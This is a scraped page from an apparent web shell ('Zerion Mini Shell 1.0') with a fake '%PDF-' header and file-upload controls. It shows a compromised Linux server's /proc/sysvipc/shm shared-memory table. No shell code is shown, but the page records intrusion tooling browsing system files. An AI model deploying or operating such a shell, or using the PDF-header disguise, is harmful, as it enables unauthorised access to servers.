%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/thread-self/root/proc/self/root/proc/sysvipc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/thread-self/root/proc/self/root/proc/sysvipc/shm

       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  202211328  1600                585936 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102981                589824                     0
         0  202211329  1600                607632 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102983                610304                     0
         0  202211330  1600                629336 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102985                630784                     0
         0  202211331  1600                651040 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102987                651264                     0
      5555          4   644                  1024  3840 1817777      0     0     0     0     0 1731419066 1731419066 1714899927                  4096                     0
         0  202211333  1600                672744 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102989                675840                     0
         0  202211334  1600                694432 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102991                696320                     0
         0  202211335   600                716128 952827 1577152      2   475   468   475   468 1732115882 1732115882 1732102993                716800                     0
         0  202211337  1400                174104 952678 910226      2   484   479     0     0 1732103018          0 1732103018                176128                     0
         0  202276877  1600                524288 1574882 1574883      1  8789  8791  8789  8791 1732115825 1732115837 1732115825                  8192                     0
   5432001  202211353   600                    56 1182290 1576047     48   466   456   466   456 1732115867 1732115867 1732107523                  4096                     0
         0  202178591  1600                   576 952822 1577152      6   475   468   475   468 1732115882 1732115882 1732102928                  4096                     0
         0  202178592  1600               2993056 952822 1577152      6   475   468   475   468 1732115882 1732115882 1732102928               2994176                     0
-1354379232  168656929   666                    18 1324664 1663677      0  7298  7300  7298  7300 1731147190 1731147190 1729034652                  4096                     0
         0  202178594  1600                 21744 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102928                 24576                     0
         0  202178595  1600                 43456 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102930                 45056                     0
         0  202178597  1600                 65160 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102932                 65536                     0
         0  202178598  1600                 86856 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102934                 90112                     0
         0  202178600  1600                108560 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102936                110592                     0
         0  202178601  1600                130312 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102938                131072                     0
         0  202178602  1600                152008 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102940                155648                     0
         0  202178603  1600                173712 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102942                176128                     0
         0  202178604  1600                195408 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102944                196608                     0
         0  202178605  1600                217112 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102946                221184                     0
         0  202178606  1600                238816 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102948                241664                     0
         0  202178607  1600                260544 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102950                262144                     0
         0  202178608  1600                282240 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102952                282624                     0
         0  202178609  1600                303944 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102954                307200                     0
         0  202178610  1600                325632 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102956                327680                     0
         0  202178611  1600                347328 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102958                348160                     0
         0  202178612  1600                369016 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102960                372736                     0
         0  202178613  1600                390704 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102962                393216                     0
         0  202178614  1600                412400 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102964                413696                     0
         0  202178615  1600                434096 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102966                434176                     0
         0  202178616  1600                455784 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102968                458752                     0
         0  202178617  1600                477472 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102970                479232                     0
         0  202178618  1600                499168 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102972                499712                     0
         0  202178619  1600                520856 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102974                524288                     0
         0  202178620  1600                542544 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102977                544768                     0
   5432002  191201342   600                    56 2167718 1575959      6    26    26    26    26 1732115865 1732115865 1730980270                  4096                     0
         0  202178623  1600                564240 952827 1577152      1   475   468   475   468 1732115882 1732115882 1732102979                565248                     0

Zerion Mini Shell 1.0